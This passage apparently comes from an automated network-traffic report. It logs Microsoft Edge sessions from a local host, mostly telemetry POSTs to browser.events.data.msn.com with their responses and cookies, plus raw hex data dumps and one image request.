29 52 a2 52 64 18 1a 44 73 33 9c 3d a4 80 Data Ascii: F d0F64d-CK@<9`:h)$R6Yd!eF>?mpSeyaUs%:r#R)O5jL\|E(I%Rgsi<7qQ8}!FIcsh i JT!2qvARwfwcvE<h2Lt*Ff)RRdDs3=
2024-11-22 16:09:08 UTC	1968	IN	Data Raw: 1b e1 fc cb d6 58 00 6b a8 df 3e 7f 26 72 7f 51 bc 14 b5 03 55 c6 a9 13 1a 44 53 e4 e9 77 3a a0 d2 7b f8 70 1d a0 0e d1 2f 02 c7 ea 29 f4 d3 ea fd 46 6a 39 c0 90 f6 7a 75 6a b4 93 43 cb 27 a2 92 7b 0a a9 04 ba 87 41 69 2b 28 9e d0 00 91 b8 cf d9 b1 b1 10 87 6e 4f 9a 02 2f 9c e1 dc 34 51 08 7c e6 f9 a0 21 0f a1 b2 1f 43 43 20 e2 b5 04 24 a8 cd 36 54 9e 4d cf 2b ae 55 c4 59 ff 00 19 09 24 c1 51 c0 31 2b 92 41 67 99 ea 7a be 94 dc 50 28 5d d3 cd 54 dc 04 80 1e 5a ee f5 b7 4c 8b 82 ca 70 48 a4 0e 03 bc b5 9f 56 e9 29 b2 90 94 83 f5 1f bf da 4b 8f e4 55 9d cb de fc 48 7d 72 9c 62 6b 18 75 69 7d 58 cf 53 ac 23 41 ea 69 b4 67 e7 00 f8 b2 ed 7e 6a d9 d4 8e a4 93 b0 93 07 cc a8 30 07 4d d1 83 07 a8 ff 00 52 7e cc e4 f4 5d 39 fa 7a 88 e2 83 f3 0e 3e 62 f7 46 ea 0b Data Ascii: Xk>&rQUDSw:{p/)Fj9zujC'{Ai+(nO/4Q\|!CC $6TM+UY$Q1+AgzP(]TZLpHV)KUH}rbkui}XS#Aig~j0MR~]9z>bF
2024-11-22 16:09:08 UTC	16384	IN	Data Raw: 3a ed 99 c0 ec d9 30 f0 d2 9f 37 e4 01 f7 6f ad 33 a2 e2 4f ed 05 3b 06 da 49 c5 f9 db b7 55 1a 54 6a a8 26 3e 12 79 7c d9 eb b6 17 01 37 50 23 15 83 3e 61 d2 ad 5d 44 9b 96 f5 85 7c 69 32 39 c2 66 bb de d1 d3 1e 97 e8 c8 69 9e 7b 0c 4e e8 0d c9 b7 89 a7 be cc 78 33 f4 80 63 54 11 81 83 1e 7f 36 eb 76 6e d7 4a 24 2b e3 51 20 7f 0e 7e 0f a3 51 9d 19 4b 54 01 45 2b 60 a8 4c 6d 8c cb 60 4a 7e 28 9c 53 94 6e c5 ee dc b0 a1 1a 8a 13 ab 7e ad 98 81 df 56 09 42 50 47 f9 ce 98 83 d9 26 b3 84 d7 c1 ca 92 65 69 7d 0a 16 82 23 b3 04 d7 51 23 b8 e5 39 66 c7 32 12 4c a4 73 51 cf 61 a9 2e 93 79 12 90 6b 2a 33 33 99 dd 40 7e 6e ee 20 18 82 73 56 7f 6d fc 72 6c 42 35 29 52 01 39 52 29 58 ae f8 64 f4 ca 36 ee 42 89 92 37 8f 1d 83 7c bc e2 7d 38 cc 1d b9 4f 9b db e9 ee 64 Data Ascii: :07o3O;IUTj&>y\|7P#>a]D\|i29fi{Nx3cT6vnJ$+Q ~QKTE+`Lm`J~(Sn~VBPG&ei}#Q#9f2LsQa.yk*33@~n sVmrlB5)R9R)Xd6B7\|}8Od
2024-11-22 16:09:08 UTC	16384	IN	Data Raw: 14 07 f7 52 76 0a 12 7c df a3 e8 2f 21 20 85 aa da 7b 55 49 30 40 23 34 d0 c4 41 ac bf 0e 01 d3 53 3b a6 83 07 a3 67 a7 50 04 cc ea c4 c4 0e 06 6a f3 9c a9 02 3d 77 5e b0 ab 5d 2e 82 16 74 99 12 09 c9 39 bf 3a 24 1a 98 3b 23 2f 1c f7 32 54 ab 76 e8 a5 00 7b f8 06 04 dd 27 b2 9b 6a 1f cd 52 39 cb e7 f9 8e b6 4b df 89 a6 95 e2 1e 14 41 05 06 53 8e a3 2a 23 65 3e cc b2 a4 03 5a 03 84 cf 7b f3 b7 12 11 1a 53 07 3f aa 9c a3 bd 87 db 24 82 48 31 13 bd e4 d3 9a bd 54 55 d7 23 d2 2d 08 35 48 41 1c 52 47 38 a3 97 f9 12 04 29 48 fe d3 db 1c 0d 7b 9e 11 ba a4 24 e9 4c 98 cd ad 17 16 10 34 92 15 15 26 b9 d6 03 20 a7 1d dd ad b2 2c 1b c4 dc a4 c7 30 40 ff 00 4d 19 c6 14 91 20 a3 94 cf 98 1e 52 c2 49 0b 01 41 4b 82 27 31 f3 87 28 19 8d 47 f8 c4 f8 2d f5 61 93 b1 b0 17 Data Ascii: Rv\|/! {UI0@#4AS;gPj=w^].t9:$;#/2Tv{'jR9KAS*#e>Z{S?$H1TU#-5HARG8)H{$L4& ,0@M RIAK'1(G-a
2024-11-22 16:09:08 UTC	7952	IN	Data Raw: 8c 9c ea 95 46 dd b8 34 c6 22 a9 39 b1 e4 fc d9 f0 93 49 ab 4a ad 71 e7 1d ee 6d 14 0c 0a 71 c5 99 6c 15 52 32 c2 3c 5c 74 a7 f6 99 dc 59 f6 af a5 39 ca 4f 8b ca 6d d6 11 4b 88 d4 1d 03 2f e1 39 73 13 8f 26 f5 91 70 04 a8 10 45 52 6b 07 6e 5e 0d 42 e2 29 da 0a 13 94 7e 0f b4 a0 a8 fa 6b 8f ed 54 d7 70 9a 1f 78 7c 7c f9 ae 27 4a 78 a0 12 a5 db 5a 4a a1 43 03 8d 69 51 8f 17 a9 d1 ae fe a2 92 46 e3 8a a7 61 70 8b 6b 4c 41 41 34 38 0a 7c 3b b6 e4 dc b4 fa 5a 4e 93 a2 45 49 93 4a 50 cb bd 5c 15 8f 4f 5d 86 c2 d0 48 55 76 7b 86 40 13 8e 9e 25 d2 2f 25 5a 6d c8 13 f4 56 87 97 3d 92 e5 2a 06 a8 03 ff 00 51 23 bd e8 a5 ab 83 39 dc 5a 78 c8 40 49 83 0b 23 7e 7c 2a f8 22 95 51 57 30 3d c3 b4 28 1a 65 8f d6 83 3f ea 0e 5a ce 7a 6d e9 db a8 13 fe d4 3c 5d 94 84 94 61 Data Ascii: F4"9IJqmqlR2<\tY9OmK/9s&pERkn^B)~kTpx\|\|'JxZJCiQFapkLAA48\|;ZNEIJP\O]HUv{@%/%ZmV=Q#9Zx@I#~\|"QW0=(e?Zzm<]a
2024-11-22 16:09:08 UTC	16384	IN	Data Raw: d5 cd 61 35 1a 88 92 90 2b bf 2a 39 cb 5b ba 1d f0 0e eb ae 5b 28 d4 0a 89 06 00 d2 00 f0 98 f2 79 29 be 85 24 a4 85 02 33 8c b6 98 a1 c3 37 7d 55 d2 94 47 ee 38 ec db 57 88 56 b2 20 82 a8 20 1e 5c 0b a4 9d 09 9e 81 37 6c d9 fa 46 a5 18 00 ea 27 85 00 6d 55 c3 73 13 ca 68 07 0d 9b de 28 d1 9d 6b 58 93 00 ee 34 74 9b a9 ce 23 31 cc cb 56 fa 36 20 cb 97 14 92 21 47 bd aa dd d5 15 09 3b 7c 7c db cf a7 42 a4 a8 d3 68 ae df 63 bf cc a2 dd 12 80 37 40 1e 79 97 b6 a8 d6 d6 2a e2 44 ad 49 4a 64 1a c9 33 b8 e0 e5 6e ee 90 4e dd a7 2e 4d 17 2e ea 01 54 93 41 8f 96 c6 ad 29 d2 0e a0 27 c2 1b 4e 2d 67 02 63 2e df 59 a6 a8 1b bb 8b d1 e9 08 16 cc c6 67 1f b0 9f 17 87 ea 00 0d 72 1b 1a 2d de 83 a6 84 01 b3 66 34 dc c7 95 49 07 3b 36 6e 75 0a 04 46 fc 4c 89 c3 c9 90 8b Data Ascii: a5+9[[(y)$37}UG8WV \7lF'mUsh(kX4t#1V6 !G;\|\|Bhc7@yDIJd3nN.M.TA)'N-gc.Ygr-f4I;6nuFL
2024-11-22 16:09:08 UTC	16384	IN	Data Raw: 71 52 4c 48 49 29 c1 d2 94 55 41 90 48 8f c1 e7 b9 42 4a 84 e2 07 9b b6 81 38 89 c7 9b 66 15 0e 80 78 e7 3b b2 6c c2 47 93 52 54 98 c9 c8 94 8a 81 43 8b cc 09 0d be 02 9e 45 ae 46 d8 8c 47 cd ac 95 53 38 3c 5c 44 9c 6a dd 0c 74 8e 6e 68 ce 30 63 12 46 79 ee 75 aa 4b 28 03 0a 13 32 33 d8 e3 0a 06 94 db 3d ce 27 30 73 f7 e4 fb 54 97 34 05 98 19 2a ae 60 1c 61 a8 03 95 3c 9d c2 85 63 26 c6 71 80 7e 6e 52 d7 ae 43 8c b7 42 0e 42 a0 e6 de a0 15 cc 7b e4 c0 06 5b c2 88 34 97 35 90 23 e9 94 55 ac a7 63 2b 23 4f 7d cd 6b e5 9f bc 36 98 10 49 36 d4 14 92 64 78 37 7a ab 22 0a 89 00 ea 01 89 57 34 98 ee 74 d0 59 ea 6d df 55 d4 05 64 64 cc 08 a0 c0 61 bf 6b 70 57 4e 91 f4 9c aa 75 56 77 f6 bc 1e 05 b5 a9 16 a9 31 ac 19 c1 92 56 9b 97 92 8f 85 58 e5 5f b3 cd 60 b2 2b Data Ascii: qRLHI)UAHBJ8fx;lGRTCEFGS8<\Djtnh0cFyuK(23='0sT4*`a<c&q~nRCBB{[45#Uc+#O}k6I6dx7z"W4tYmUddakpWNuVw1VX_`+
2024-11-22 16:09:08 UTC	7952	IN	Data Raw: 54 59 24 27 4d b8 a4 04 d7 e6 03 09 5f a9 5c 51 85 5c 57 70 3b b3 63 e8 b2 9a 90 0f 3d 55 f2 76 2e db 98 09 a6 c2 91 1e 66 1a 5d be df 2e dd fb f1 b0 b9 3e 64 0d e0 aa a4 a8 ce d5 4d 7b df 24 f5 0a 3f 4a 8e d8 fa 48 df 25 e9 a4 53 b2 84 c6 d0 a1 a7 b9 5e 0d fa 16 71 03 70 9a 71 a3 3e 62 8f 28 af 1f e8 54 c4 7e 62 fd b4 56 e1 48 03 e8 4a 8c c7 21 40 f2 55 d6 6a 9d 4a 52 e7 e1 a9 3f d5 5f 93 d4 36 8e a9 5a b0 c2 9e 0a 9f 36 15 cf cb 83 a7 44 2b 31 04 ed 64 34 5f e5 b7 bd a4 86 ef a9 99 74 a9 30 53 49 dc 08 31 94 e7 5c 4c b0 ca c9 8e c0 9c 49 18 f0 c9 ec 84 ea 10 91 3f dc 0e 52 36 38 9e 98 a6 b0 39 e3 c6 68 5f 5a 9c 56 1e e6 54 62 6b bc 0e 66 3c 1c 00 ba b5 13 52 66 a4 d7 3c ab 83 d8 2b 13 92 60 91 59 15 dd 88 cf 6b 52 ae 50 e9 ec a8 13 31 5e 53 ec 7a ea ff Data Ascii: TY$'M_\Q\Wp;c=Uv.f].>dM{$?JH%S^qpq>b(T~bVHJ!@UjJR?_6Z6D+1d4_t0SI1\LI?R689h_ZVTbkf<Rf<+`YkRP1^Sz
2024-11-22 16:09:08 UTC	15417	IN	Data Raw: 02 89 1d ef 0d 2e f0 00 e6 c5 d4 d0 8c f7 87 c9 46 c8 d9 1f 3d 8d be b2 ee 11 5a 52 06 19 32 ca 8a 4d 53 98 26 45 7c e1 eb a9 ad e8 00 0d b2 7e 9a 56 22 73 e5 ed 71 28 52 7e 20 63 30 2b 1c 59 02 e9 51 09 a0 c2 7d c5 1d 69 52 0a ab 22 0d 46 3c c3 76 f9 88 08 ce d7 23 50 30 f7 c5 cd 48 cc 8a ee c6 18 a6 b8 47 37 a8 12 21 2f 86 ac 1d 4f 1f 7d ce 24 b6 01 12 b0 76 53 df 6b b9 48 ce a4 ec fb e0 f8 2f 0d dc 8b 44 0c 48 68 0a cc e2 e4 01 06 32 e6 d9 0a 02 82 9b dc 90 89 35 ec f3 60 0d 4e 9d 24 c5 71 cf 63 1d 24 ea 3c 99 8b 54 76 45 1c 52 35 6e cc 63 83 81 85 db 29 89 56 c1 1e c6 a3 7b 3e c8 8c a5 b5 48 ec a4 26 b2 04 9e fc b6 31 08 19 04 9a 52 38 d4 d6 5c 2a 63 22 2e 95 28 19 8f 7d c1 b0 e9 09 a9 ac e5 53 ab 63 a8 4a 6a 47 0c a8 da 02 94 0e 91 25 55 93 1e 5b 9d Data Ascii: .F=ZR2MS&E\|~V"sq(R~ c0+YQ}iR"F<v#P0HG7!/O}$vSkH/DHh25`N$qc$<TvER5nc)V{>H&1R8\*c".(}ScJjG%U[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.10	49824	20.189.173.23	443	7852	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:09:09 UTC	1044	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732291746979&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 11613 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=379C33D393BD6E761EBE26EC92DF6F66; _EDGE_S=F=1&SID=3467BADAF3F66E6322F8AFE5F2CE6F4F; _EDGE_V=1; _C_ETH=1; msnup=
2024-11-22 16:09:09 UTC	11613	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 32 54 31 36 3a 30 39 3a 30 36 2e 39 37 37 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 32 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 65 30 33 30 32 33 35 66 2d 37 36 33 32 2d 34 38 37 66 2d 62 39 64 37 2d 66 32 30 37 34 33 37 30 39 36 31 34 22 2c 22 65 70 6f 63 68 22 3a 22 33 32 34 31 33 36 32 32 33 39 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-22T16:09:06.977Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":2,"installId":"e030235f-7632-487f-b9d7-f20743709614","epoch":"3241362239"},"app":{"locale
2024-11-22 16:09:10 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=fcf9c8070e0b4c2595f2277e0047b75b&HASH=fcf9&LV=202411&V=4&LU=1732291750183; Domain=.microsoft.com; Expires=Sat, 22 Nov 2025 16:09:10 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=73c38103ea194f3e94b71d189d6f7c45; Domain=.microsoft.com; Expires=Fri, 22 Nov 2024 16:39:10 GMT; Path=/;Secure; SameSite=None time-delta-millis: 3204 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Fri, 22 Nov 2024 16:09:09 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.10	49825	20.189.173.23	443	7852	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:09:09 UTC	1043	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732291746981&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 5094 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=379C33D393BD6E761EBE26EC92DF6F66; _EDGE_S=F=1&SID=3467BADAF3F66E6322F8AFE5F2CE6F4F; _EDGE_V=1; _C_ETH=1; msnup=
2024-11-22 16:09:09 UTC	5094	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 32 54 31 36 3a 30 39 3a 30 36 2e 39 38 31 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 33 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 65 30 33 30 32 33 35 66 2d 37 36 33 32 2d 34 38 37 66 2d 62 39 64 37 2d 66 32 30 37 34 33 37 30 39 36 31 34 22 2c 22 65 70 6f 63 68 22 3a 22 33 32 34 31 33 36 32 32 33 39 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-22T16:09:06.981Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":3,"installId":"e030235f-7632-487f-b9d7-f20743709614","epoch":"3241362239"},"app":{"locale
2024-11-22 16:09:10 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=e31a2a23c8034139bbbd5da2b74a3a20&HASH=e31a&LV=202411&V=4&LU=1732291750162; Domain=.microsoft.com; Expires=Sat, 22 Nov 2025 16:09:10 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=162da9a0dc5b4ac58be081472e9d6dc5; Domain=.microsoft.com; Expires=Fri, 22 Nov 2024 16:39:10 GMT; Path=/;Secure; SameSite=None time-delta-millis: 3181 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Fri, 22 Nov 2024 16:09:10 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.10	49826	20.189.173.23	443	7852	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:09:10 UTC	1033	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732291747831&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 5292 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=379C33D393BD6E761EBE26EC92DF6F66; _EDGE_S=F=1&SID=3467BADAF3F66E6322F8AFE5F2CE6F4F; _EDGE_V=1; msnup=
2024-11-22 16:09:10 UTC	5292	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 32 54 31 36 3a 30 39 3a 30 37 2e 38 33 30 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 34 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 65 30 33 30 32 33 35 66 2d 37 36 33 32 2d 34 38 37 66 2d 62 39 64 37 2d 66 32 30 37 34 33 37 30 39 36 31 34 22 2c 22 65 70 6f 63 68 22 3a 22 33 32 34 31 33 36 32 32 33 39 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-22T16:09:07.830Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":4,"installId":"e030235f-7632-487f-b9d7-f20743709614","epoch":"3241362239"},"app":{"locale
2024-11-22 16:09:10 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=08ccd88a1a7f49678e6000d5f4bde643&HASH=08cc&LV=202411&V=4&LU=1732291750581; Domain=.microsoft.com; Expires=Sat, 22 Nov 2025 16:09:10 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=b20e980a5f394cd5b1aff8f2279daf55; Domain=.microsoft.com; Expires=Fri, 22 Nov 2024 16:39:10 GMT; Path=/;Secure; SameSite=None time-delta-millis: 2750 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Fri, 22 Nov 2024 16:09:09 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.10	49827	20.189.173.23	443	7852	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:09:10 UTC	1033	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732291747989&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 9562 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=379C33D393BD6E761EBE26EC92DF6F66; _EDGE_S=F=1&SID=3467BADAF3F66E6322F8AFE5F2CE6F4F; _EDGE_V=1; msnup=
2024-11-22 16:09:10 UTC	9562	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 43 6f 6e 74 65 6e 74 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 32 54 31 36 3a 30 39 3a 30 37 2e 39 38 38 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 35 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 65 30 33 30 32 33 35 66 2d 37 36 33 32 2d 34 38 37 66 2d 62 39 64 37 2d 66 32 30 37 34 33 37 30 39 36 31 34 22 2c 22 65 70 6f 63 68 22 3a 22 33 32 34 31 33 36 32 32 33 39 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 Data Ascii: {"name":"MS.News.Web.ContentView","time":"2024-11-22T16:09:07.988Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":5,"installId":"e030235f-7632-487f-b9d7-f20743709614","epoch":"3241362239"},"app":{"loc
2024-11-22 16:09:11 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=7b5183a0c9a7454bad4116529a3ccb8c&HASH=7b51&LV=202411&V=4&LU=1732291750781; Domain=.microsoft.com; Expires=Sat, 22 Nov 2025 16:09:10 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=d7cd752ca4d640768e838d62e3a359bd; Domain=.microsoft.com; Expires=Fri, 22 Nov 2024 16:39:10 GMT; Path=/;Secure; SameSite=None time-delta-millis: 2761 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Fri, 22 Nov 2024 16:09:10 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.10	49830	104.117.182.72	443	7852	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:09:14 UTC	506	OUT	GET /tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
